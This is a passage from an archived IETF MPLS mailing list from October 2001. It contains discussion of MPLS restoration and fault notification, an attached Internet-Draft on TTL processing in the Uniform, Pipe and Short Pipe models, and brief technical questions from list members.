Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Irfan,

Please see comments below.

>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Irfan
>Lateef
>Sent: Wednesday, October 03, 2001 7:31 PM
>To: mpls@UU.NET
>Subject: MPLS Restoration
>
>
>Hi,
>   I have few doubts on MPLS restoration.
>(1)The section 3.6. Fault Notification of
>draft-ietf-mpls-recovery-frmwrk-03.txt says,
>  " Depending on how fault notification is configured in
>   the LSRs of an MPLS domain, the FIS could be sent either as a Layer 2
>
>   or Layer 3 packet [11]. The use of a Layer 2-based notification
>   requires a Layer 2 path direct to the PSL. "

By "Layer 2" what was implied here was an MPLS LSP. The reference [11]
provided makes this clear. Perhaps we should clarify this in the text
as well.

>  If there is an LSP from A to F as shown below and a failure has
>occured
>  between C & D
>  A --- B --- C --- D --- E ---- F
>   (a) what does it mean to have a layer 2 direct path ?

It  means that you have an LSP in the reverse direction, from C to A
(More details are provided in [11].)

>   (b) how can a direct path be setup if layer 2 is SONET or GigE?

It cannot. Please see explanation above. (BTW, I thought SONET was
more a Layer 1 technology.)

>   (c) And how do you route the FIS to the source in any layer 2
>technology?

Again, once the meaning of the term "Layer 2", as used in this
context, is clear (as explained above), one realizes that use of
"any layer 2" is not what is proposed.

>(2) I have read all the MPLS restoration drafts AFAIK, but haven't found
>any
>     reference to expected restoration times for path restoration or
>global repair.
>     My guess is it going to be in the order of seconds. Is there any
>effort or work
>     in progress to bring it down by an order or it is impossible and
>futile effort.
>

It depends on the type of restoration that is desired under global
repair.
If it is 1+1 path protection, the restoration time should
be very small (order of milliseconds), since there is no need
to signal to the source (in fact, there is no need for any signaling
at all, once the failure has been detected).
However, if more complex forms of shared
restoration are included in global repair, then the times could be
longer, since one may not only have to inform the source, one
may also have to reconfigure intermediate routers/switches/crossconnects
to realize shared restoration.

In response to your question, you might want to check out the following
two drafts:

http://search.ietf.org/internet-drafts/draft-owens-te-network-survivability-
01.txt

http://search.ietf.org/internet-drafts/draft-ietf-tewg-restore-hierarchy-00.
txt

-Vishal


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com



From owner-mpls@UU.NET  Mon Oct  8 17:21:27 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02569
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 17:21:27 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljxd05809;
	Mon, 8 Oct 2001 21:21:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljxd24555
	for mpls-outgoing; Mon, 8 Oct 2001 21:20:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljxd24550
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 21:20:34 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljxd20911
	for <mpls@UU.NET>; Mon, 8 Oct 2001 21:17:57 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: yarilo.pluris.com [208.227.9.200])
	id QQljxd01438
	for <mpls@UU.NET>; Mon, 8 Oct 2001 21:18:10 GMT
Received: from avalon.pluris.com (avalon.pluris.com [172.16.50.49])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id OAA15543
	for <mpls@UU.NET>; Mon, 8 Oct 2001 14:17:56 -0700 (PDT)
Received: by avalon.pluris.com with Internet Mail Service (5.5.2653.19)
	id <SYPBWHT3>; Mon, 8 Oct 2001 14:17:56 -0700
Message-ID: <17C81AD1F1FED411991E006008F6D1CAFA931A@avalon.pluris.com>
From: Puneet Agarwal <puneet@pluris.com>
To: mpls@UU.NET
Subject: New revision of the MPLS ttl draft
Date: Mon, 8 Oct 2001 14:17:47 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C1503E.ADCE08C0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C1503E.ADCE08C0
Content-Type: text/plain;
	charset="iso-8859-1"

A new revision of the "TTL Processing in MPLS Networks" has been submitted.
This updates the -00 version of the draft.

Any comments/suggestions would be much appreciated.

-Puneet and Bora



------_=_NextPart_000_01C1503E.ADCE08C0
Content-Type: text/plain;
	name="draft-agarwal-mpls-ttl-01.txt"
Content-Disposition: attachment;
	filename="draft-agarwal-mpls-ttl-01.txt"
Content-Transfer-Encoding: quoted-printable

=0A=
    =0A=
=0A=
   Internet Draft                                        Puneet Agarwal =
=0A=
                                                                 Pluris =
=0A=
                                                          Bora A. Akyol =
=0A=
   Document: draft-agarwal-mpls-ttl-01.txt                Cisco Systems =
=0A=
   Category                                               Informational =
=0A=
   Expires: April 2002                                     October 2001 =
=0A=
    =0A=
    =0A=
                      TTL Processing in MPLS Networks =0A=
    =0A=
    =0A=
   Status of this Memo =0A=
    =0A=
   This document is an Internet-Draft and is in full conformance =0A=
   with all provisions of Section 10 of RFC2026. =0A=
    =0A=
    =0A=
   Internet-Drafts are working documents of the Internet Engineering =
=0A=
   Task Force (IETF), its areas, and its working groups.  Note that     =
 =0A=
   other groups may also distribute working documents as Internet-=0A=
   Drafts. =0A=
    =0A=
   Internet-Drafts are draft documents valid for a maximum of six =0A=
   months and may be updated, replaced, or obsoleted by other documents =
=0A=
   at any time.  It is inappropriate to use Internet-Drafts as =0A=
   reference material or to cite them other than as "work in progress." =
=0A=
    =0A=
   The list of current Internet-Drafts can be accessed at =0A=
        http://www.ietf.org/ietf/1id-abstracts.txt =0A=
   The list of Internet-Draft Shadow Directories can be accessed at =0A=
        http://www.ietf.org/shadow.html. =0A=
    =0A=
    =0A=
   Abstract =0A=
    =0A=
   This document describes TTL processing in hierarchical MPLS =0A=
   networks. =0A=
 =0A=
 =0A=
 =0A=
   Conventions used in this document =0A=
    =0A=
    =0A=
   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", =
=0A=
   "SHOULD", "SHOULD NOT", "RECOMMENDED",  "MAY", and "OPTIONAL" in =0A=
   this document are to be interpreted as described in [RFC-2119]. =0A=
    =0A=
1.   Introduction and Motivation =0A=
    =0A=
   This document describes TTL processing in hierarchical MPLS =0A=
   networks. We believe that this document adds details that have not =
=0A=
   been addressed in [MPLS-ARCH, MPLS-ENCAPS], and that the methods =0A=
   presented in this document complement [MPLS-DS]. =0A=
    =0A=
=0A=
     =0A=
   Agarwal & Akyol  draft-agarwal-mpls-ttl-01.txt                   1 =
=0C=0A=
                   TTL Processing in MPLS Networks       October 2001 =
=0A=
                                    =0A=
    =0A=
2.   Changes from version-00 of draft =0A=
     =0A=
   Based on the feedback on the -00 version of the draft (including the =
=0A=
   presentation at IETF-50), the following changes have been =0A=
   incorporated in this draft: =0A=
    =0A=
   (a)  Added a section to state how the draft enhances previously =0A=
        published RFCs, modifies the functionality specified in the =0A=
        RFCs, adds new functionality not specified in the RFCs and adds =
=0A=
        details to clarify what is specified in the RFCs =0A=
   (b)  Added a statement that signaling the TTL mode is out of the =0A=
        scope of this Internet Draft =0A=
   (c)  Clarified that iTTL can be decremented by a value greater than =
=0A=
        1 (depending on configuration) =0A=
   (d)  Clarified that iTTL should be >=3DN before decrementing by N =
=0A=
   (e)  Cleared the confusion caused by the use of the term "IP =0A=
        Header/Label" by replacing with the more generic term "header" =
=0A=
=0A=
   (f)  Took out unneeded text in section 4.5 =0A=
   (g)  Update the terminology for Pipe, Short Pipe and Uniform based =
=0A=
        on draft-ietf-mpls-diff-ext-09.txt (instead of the -07 version) =
=0A=
=0A=
   (h)  Add a separate section to visually describe the TTL processing =
=0A=
        in the above 3 modes (incorporate the pictures from the slides) =
 =0A=
    =0A=
 =0A=
3.   TTL Processing in MPLS Networks =0A=
  3.1. Changes to RFC 3032 [MPLS-ENCAPS] =0A=
        a) [MPLS-ENCAPS] only covers the Uniform Model and does NOT =0A=
           address the Pipe Model or the Short Pipe Model. This draft =
=0A=
           will address these 2 models and for completeness will also =
=0A=
           address the Uniform Model. =0A=
        b) [MPLS-ENCAPS] does not cover hierarchical LSPs. This draft =
=0A=
           will address this issue. =0A=
        c) [MPLS-ENCAPS] does not define TTL processing in the presence =
=0A=
           of Penultimate Hop Popping (PHP). This draft will address =
=0A=
           this issue. =0A=
    =0A=
  3.2. Terminology and Background =0A=
    =0A=
   As defined in [MPLS-ENCAPS], MPLS packets use a MPLS shim header =0A=
   that indicates the following information about a packet: =0A=
    =0A=
   a. MPLS Label (20 bits) =0A=
   b. TTL (8 bits) =0A=
   c. Bottom of stack (1 bit) =0A=
   d. Experimental bits (3 bits) =0A=
    =0A=
   The experimental bits were later redefined in [MPLS-DS] to indicate =
=0A=
   the scheduling and shaping behavior that could be associated with a =
=0A=
   MPLS packet. =0A=
    =0A=
=0A=
     =0A=
   Agarwal & Akyol  draft-agarwal-mpls-ttl-01.txt                   2 =
=0C=0A=
                   TTL Processing in MPLS Networks       October 2001 =
=0A=
                                    =0A=
    =0A=
   [MPLS-DS] also defined two models for MPLS tunnel operation: Pipe =
=0A=
   and Uniform models. In the Pipe model, a MPLS network acts like a =
=0A=
   conduit when MPLS packets traverse the network such that only the =
=0A=
   LSP ingress and egress points are visible to nodes that are outside =
=0A=
   the tunnel. A "short" variation of the Pipe Model is also defined in =
=0A=
   [MPLS-DS] to differentiate between different egress forwarding and =
=0A=
   QoS treatments. On the other hand, the Uniform model makes all the =
=0A=
   nodes that a LSP traverses visible to nodes outside the tunnel. We =
=0A=
   will extend the Pipe and Uniform models to include TTL processing in =
=0A=
   the following sections. Furthermore, TTL processing when performing =
=0A=
   Penultimate Hop Pop (PHP) is also described in this document. For a =
=0A=
   detailed description of Pipe and Uniform models, please see =
[MPLS-=0A=
   DS]. =0A=
    =0A=
   TTL processing in MPLS networks can be broken down into two logical =
=0A=
   blocks: (i) the incoming TTL determination to take into account any =
=0A=
   tunnel egress due to MPLS Pop operations; (ii) packet processing of =
=0A=
   (possibly) exposed packet & outgoing TTL.  =0A=
    =0A=
   We also note here that signaling treatment for TTL behavior using =
=0A=
   either RSVP-TE or LDP is out of the scope of this document. =0A=
    =0A=
  3.3. New Terminology =0A=
    =0A=
   iTTL: The TTL value to use as the incoming TTL. No checks are =0A=
   performed on the iTTL. =0A=
    =0A=
   oTTL: This is the TTL value used as the outgoing TTL value. It is =
=0A=
   always (iTTL - 1) unless otherwise stated. =0A=
    =0A=
   oTTL Check: Check if oTTL is greater than 0. If the oTTL Check is =
=0A=
   false, then the packet is not forwarded. Note that the oTTL check is =
=0A=
   performed only if any outgoing TTL (either IP or MPLS) is set to =0A=
   oTTL. =0A=
    =0A=
4.   TTL Processing in different Models =0A=
    =0A=
   This sections describes the TTL processing for LSPs conforming to =
=0A=
   each of the 3 models  (Uniform, Short Pipe and Pipe) in the =0A=
   presence/absence of PHP (where applicable) =0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
     =0A=
   Agarwal & Akyol  draft-agarwal-mpls-ttl-01.txt                   3 =
=0C=0A=
                   TTL Processing in MPLS Networks       October 2001 =
=0A=
                                    =0A=
    =0A=
    =0A=
  4.1. TTL Processing for Uniform Model LSPs (with or without PHP) =0A=
      =0A=
        (consistent with [MPLS-ENCAPS]): =0A=
    =0A=
                =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D LSP =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D> =0A=
    =0A=
                    +--Swap--(n-2)-...-swap--(n-i)---+ =0A=
                   /        (outer header)            \ =0A=
                 (n-1)                                (n-i) =0A=
                 /                                       \ =0A=
      >--(n)--Push...............(x).....................Pop--(n-i-1)-> =
=0A=
               (I)           (inner header)            (E or P) =0A=
    =0A=
      (n) represents the TTL value in the corresponding header =0A=
      (x) represents non-meaningful TLL information =0A=
      (I) represents the LSP ingress node =0A=
      (P) represents the LSP penultimate node =0A=
      (E) represents the LSP Egress node =0A=
    =0A=
   This picture shows TTL processing for a uniform model MPLS LSP. Note =
=0A=
   that the inner and outer TTLs of the packets are synchronized at =0A=
   tunnel ingress and egress. =0A=
    =0A=
  4.2. TTL Processing for Short Pipe Model LSPs =0A=
    =0A=
     4.2.1.     TTL Processing for Short Pipe Model LSPs without PHP =
=0A=
    =0A=
                =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D LSP =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D> =0A=
    =0A=
                    +--Swap--(N-1)-...-swap--(N-i)-----+ =0A=
                   /        (outer header)              \ =0A=
                 (N)                                  (N-i) =0A=
                 /                                         \ =0A=
      >--(n)--Push...............(n-1).....................Pop--(n-2)-> =
=0A=
               (I)           (inner header)                (E) =0A=
    =0A=
      (N) represents the TTL value (may have no relationship to n) =0A=
      (n) represents the tunneled TTL value in the encapsulated header =
=0A=
      (I) represents the LSP ingress node =0A=
      (E) represents the LSP Egress node =0A=
    =0A=
   Short Pipe Model was introduced in [MPLS-DS]. In the short pipe =0A=
   model, the forwarding treatment at the egress LSR is based on the =
=0A=
   tunneled packet as opposed to the encapsulating packet.  =0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
     =0A=
   Agarwal & Akyol  draft-agarwal-mpls-ttl-01.txt                   4 =
=0C=0A=
                   TTL Processing in MPLS Networks       October 2001 =
=0A=
                                    =0A=
    =0A=
    =0A=
    =0A=
     4.2.2.     TTL Processing for Short Pipe Model with PHP: =0A=
                =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D LSP =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D> =0A=
                    +-Swap--(N-1)-..-swap--(N-i)-+ =0A=
                   /       (outer header)         \ =0A=
                 (N)                             (N-i) =0A=
                 /                                 \ =0A=
      >--(n)--Push.............(n-1)..............Pop-(n-1)-(E)-(n-2)-> =
=0A=
               (I)           (inner header)       (P) =0A=
    =0A=
      (N) represents the TTL value (may have no relationship to n) =0A=
      (n) represents the tunneled TTL value in the encapsulated header =
=0A=
      (I) represents the LSP ingress node =0A=
      (P) represents the LSP penultimate node =0A=
      (E) represents the LSP Egress node =0A=
    =0A=
   Note that at the end of short pipe model LSP the TTL of the tunneled =
=0A=
   packet has been decremented by two either with or without PHP. =0A=
    =0A=
  4.3. TTL Processing for Pipe Model LSPs (without PHP only): =0A=
    =0A=
                =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D LSP =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D> =0A=
    =0A=
                    +--Swap--(N-1)-...-swap--(N-i)-----+ =0A=
                   /        (outer header)              \ =0A=
                 (N)                                  (N-i) =0A=
                 /                                        \ =0A=
      >--(n)--Push...............(n-1)....................Pop--(n-2)-> =
=0A=
               (I)           (inner header)               (E) =0A=
    =0A=
      (N) represents the TTL value (may have no relationship to n) =0A=
      (n) represents the tunneled TTL value in the encapsulated header =
=0A=
      (I) represents the LSP ingress node =0A=
      (E) represents the LSP Egress node =0A=
    =0A=
   From the TTL perspective, the treatment for a Pipe Model LSP is =0A=
   identical to the Short Pipe Model without PHP. =0A=
    =0A=
 =0A=
  4.4. Incoming TTL (iTTL) determination =0A=
    =0A=
   If the incoming packet is an IP packet, then the iTTL is the TTL =0A=
   value of the incoming IP packet. =0A=
    =0A=
   If the incoming packet is a MPLS packet and we are performing a =0A=
   Push/Swap/PHP, then the iTTL is the TTL of the topmost incoming =0A=
   label. =0A=
    =0A=
   If the incoming packet is a MPLS packet and we are performing a Pop =
=0A=
   (tunnel termination), the iTTL is based on the tunnel type (Pipe or =
=0A=
   Uniform) of the LSP that was popped. If the popped label belonged to =
=0A=
   a Pipe model LSP, then the iTTL is the value of the TTL field of the =
=0A=
     =0A=
   Agarwal & Akyol  draft-agarwal-mpls-ttl-01.txt                   5 =
=0C=0A=
                   TTL Processing in MPLS Networks       October 2001 =
=0A=
                                    =0A=
    =0A=
   header exposed after the label was popped (note that for the purpose =
=0A=
   of this draft, the exposed header may be either an IP header or an =
=0A=
   MPLS label). If the popped label belonged to a Uniform model LSP, =
=0A=
   then the iTTL is equal to the TTL of the popped label. If multiple =
=0A=
   Pop operations are performed sequentially, then the procedure given =
=0A=
   above is repeated with one exception: the iTTL computed during the =
=0A=
   previous Pop is used as the TTL of subsequent label being popped; =
=0A=
   i.e. the TTL contained in the subsequent label is essentially =0A=
   ignored and replaced with the iTTL computed during the previous pop. =
 =0A=
    =0A=
  4.5. Outgoing TTL Determination and Packet Processing =0A=
    =0A=
  After the iTTL computation is performed, the oTTL check is performed. =
=0A=
  If the oTTL check succeeds, then the outgoing TTL of the =0A=
  (labeled/unlabeled) packet is calculated and packet headers are =0A=
  updated as defined below. =0A=
  =0A=
  If the packet was routed as an IP packet, the TTL value of the IP =0A=
  packet is set to oTTL (iTTL - 1). The TTL value(s) for any pushed =0A=
  label(s) are determined as described in section 4.6. =0A=
         =0A=
  For packets that are routed as MPLS, we have four cases: =0A=
         =0A=
        1) Swap-only: The routed label is swapped with another label =
=0A=
        and the TTL field of the outgoing label is set to oTTL. =0A=
               =0A=
        2) Swap followed by a Push: The swapped operation is performed =
=0A=
        as described in (1). The TTL value(s) of any pushed label(s) =
=0A=
        are determined as described in section 4.6. =0A=
         =0A=
        3) Penultimate Hop Pop (PHP): The routed label is popped. The =
=0A=
        oTTL check should be performed irrespective of whether the oTTL =
=0A=
        is used to update the TTL field of the outgoing header. If the =
=0A=
        PHPed label belonged to a short Pipe model LSP, then the TTL =
=0A=
        field of the PHP exposed header is neither checked nor  =0A=
        updated. If the PHPed label was a Uniform model LSP, then the =
=0A=
        TTL field of the PHP exposed header is set to the oTTL. The TTL =
=0A=
        value(s) of additional labels are determined as described in =
=0A=
        section 4.6 =0A=
         =0A=
        4) Pop: The pop operation happens before routing and hence it =
=0A=
        is not considered here. =0A=
    =0A=
  4.6. Tunnel Ingress Processing (Push) =0A=
    =0A=
   For each pushed Uniform model label, the TTL is copied from the =0A=
   label/IP-packet immediately underneath it. =0A=
    =0A=
   For each pushed Pipe model or Short Pipe model label, the TTL field =
=0A=
   is set to a value configured by the network operator. In most =0A=
   implementations, this value is set to 255 by default. =0A=
    =0A=
=0A=
     =0A=
   Agarwal & Akyol  draft-agarwal-mpls-ttl-01.txt                   6 =
=0C=0A=
                   TTL Processing in MPLS Networks       October 2001 =
=0A=
                                    =0A=
    =0A=
  4.7. Implementation Remarks =0A=
    =0A=
              1) Although iTTL can be decremented by a value larger =0A=
                 than 1 while it is being updated or oTTL is being =0A=
                 determined, this feature should be only used for =0A=
                 compensating for network nodes that are not capable of =
=0A=
                 decrementing TTL values such as OXCs. =0A=
              2) Whenever iTTL is decremented, the implementor must =0A=
                 make sure that the value does not go negative. =0A=
              3) In the short pipe model with PHP enabled, the TTL of =
=0A=
                 the tunneled packet is unchanged after the PHP =0A=
                 operation. =0A=
5.   Conclusion =0A=
    =0A=
   This Internet Draft describes how TTL field can be processed in a =
=0A=
   MPLS network. We clarified the various methods that are applied in =
=0A=
   the presence of hierarchical tunnels and completed the integration =
=0A=
   of Pipe and Uniform models with TTL processing. =0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
     =0A=
   Agarwal & Akyol  draft-agarwal-mpls-ttl-01.txt                   7 =
=0C=0A=
                   TTL Processing in MPLS Networks       October 2001 =
=0A=
                                    =0A=
    =0A=
     =0A=
6.   Security Considerations =0A=
    =0A=
   This document does not add any new security issues other than the =
=0A=
   ones defined in [MPLS-ENCAPS, MPLS-DS]. =0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
     =0A=
   Agarwal & Akyol  draft-agarwal-mpls-ttl-01.txt                   8 =
=0C=0A=
                   TTL Processing in MPLS Networks       October 2001 =
=0A=
                                    =0A=
    =0A=
    =0A=
7.   References =0A=
    =0A=
   [MPLS-ARCH] E. Rosen, A. Viswanathan, R. Callon, "Multiprotocol =0A=
   Label Switching Architecture," RFC 3031. =0A=
    =0A=
   [MPLS-ENCAPS] E. Rosen, D. Tappan, G. Fedorkow, Y. Rekhter, D. =0A=
   Farinacci, T. Li, A. Conta, "MPLS Label Stack Encoding," RFC3032. =
=0A=
    =0A=
   [MPLS-DS] F. Le Faucheur, L. Wu, B. Davie, S. Davari, P. Vaananen, =
=0A=
   R. Krishnan, P. Cheval, J. Heinanen, "MPLS Support of Differentiated =
=0A=
   Services," draft-ietf-mpls-diff-ext-09.txt. (Work in progress) =0A=
    =0A=
    =0A=
    =0A=
    =0A=
    =0A=
    =0A=
    =0A=
8.   Author's Addresses =0A=
    =0A=
    =0A=
   Puneet Agarwal =0A=
   Pluris =0A=
   10455 Bandley Drive =0A=
   Cupertino, CA 95014 =0A=
   Email: puneet@pluris.com  =0A=
    =0A=
   Bora Akyol =0A=
   Cisco Systems =0A=
   170 W. Tasman Drive =0A=
   San Jose, CA 95134 =0A=
   Email: bora@cisco.com =0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
     =0A=
   Agarwal & Akyol  draft-agarwal-mpls-ttl-01.txt                   9 =
=0C=0A=

------_=_NextPart_000_01C1503E.ADCE08C0--


From owner-mpls@UU.NET  Tue Oct  9 00:59:31 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA10283
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 00:59:31 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljyh24692;
	Tue, 9 Oct 2001 04:59:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljyh13765
	for mpls-outgoing; Tue, 9 Oct 2001 04:58:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljyh13758
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 04:58:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljyh23258
	for <mpls@uu.net>; Tue, 9 Oct 2001 04:58:37 GMT
Received: from msgbas2.sgp.agilent.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: msgbas2x.net.asiapac.agilent.com [192.25.46.26])
	id QQljyh27090
	for <mpls@uu.net>; Tue, 9 Oct 2001 04:58:49 GMT
Received: from msgrel1.sgp.agilent.com (msgrel1.sgp.agilent.com [141.183.101.233])
	by msgbas2.sgp.agilent.com (Postfix) with ESMTP id 17C161F7
	for <mpls@uu.net>; Tue,  9 Oct 2001 12:58:54 +0800 (SGP)
Received: from apbrg2.jpn.agilent.com (apbrg2.jpn.agilent.com [146.208.102.163])
	by msgrel1.sgp.agilent.com (Postfix) with SMTP id B5B1A619
	for <mpls@uu.net>; Tue,  9 Oct 2001 12:58:32 +0800 (SGP)
Received: from 146.208.102.163 by apbrg2.jpn.agilent.com (InterScan E-Mail VirusWall NT); Tue, 09 Oct 2001 13:58:32 +0900
Received: by apbrg2.jpn.agilent.com with Internet Mail Service (5.5.2653.19)
	id <4FKLQ38R>; Tue, 9 Oct 2001 13:58:32 +0900
Message-ID: <0333DB893597D311920D0090279AA8F00763D190@apmail3.sgp.agilent.com>
From: "KAR-CHOUDHURI,DAIPAYAN (A-India,ex1)" <daipayan_kar-choudhuri@agilent.com>
To: mpls@UU.NET
Subject: query on RSVP Integrated Multicast
Date: Tue, 9 Oct 2001 13:58:30 +0900 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi,

      Does anybody know what is the status of RSVP Integrated Multicast(RIM)

Is there any draft on this ? If so then please let me know
 
thanx
regards
Daipayan 


From owner-mpls@UU.NET  Tue Oct  9 01:44:51 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA12300
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 01:44:51 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljyk11353;
	Tue, 9 Oct 2001 05:44:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljyk05570
	for mpls-outgoing; Tue, 9 Oct 2001 05:44:16 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljyk05533
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 05:44:05 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljyk28585
	for <mpls@uu.net>; Tue, 9 Oct 2001 05:42:28 GMT
Received: from mail1.registeredsite.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail1.registeredsite.com [64.224.9.10])
	id QQljyk08561
	for <mpls@uu.net>; Tue, 9 Oct 2001 05:42:21 GMT
Received: from mail.cominsights.com (mail.cominsights.com [64.225.2.217])
	by mail1.registeredsite.com (8.11.6/8.11.6) with ESMTP id f995gPb05096
	for <mpls@uu.net>; Tue, 9 Oct 2001 01:42:26 -0400
Date: Tue,  9 Oct 2001 01:42:20 -0400
Message-Id: <200110090142.AA1016529190@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
Reply-To: <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Subject: label value type
X-Mailer: <IMail v6.05>
Sender: owner-mpls@UU.NET
Precedence: bulk

What is the range of the label values attached to packets in MPLS, is it an integer value or is it a string

Krishnakanth


From owner-mpls@UU.NET  Tue Oct  9 05:03:27 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA26127
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 05:03:27 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljyy12970;
	Tue, 9 Oct 2001 09:02:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljyy25210
	for mpls-outgoing; Tue, 9 Oct 2001 09:02:23 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljyy25191
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 09:02:21 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljyy21170
	for <mpls@uu.net>; Tue, 9 Oct 2001 09:01:32 GMT
Received: from mail2.registeredsite.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail2.registeredsite.com [64.224.9.11])
	id QQljyy19163
	for <mpls@uu.net>; Tue, 9 Oct 2001 09:01:45 GMT
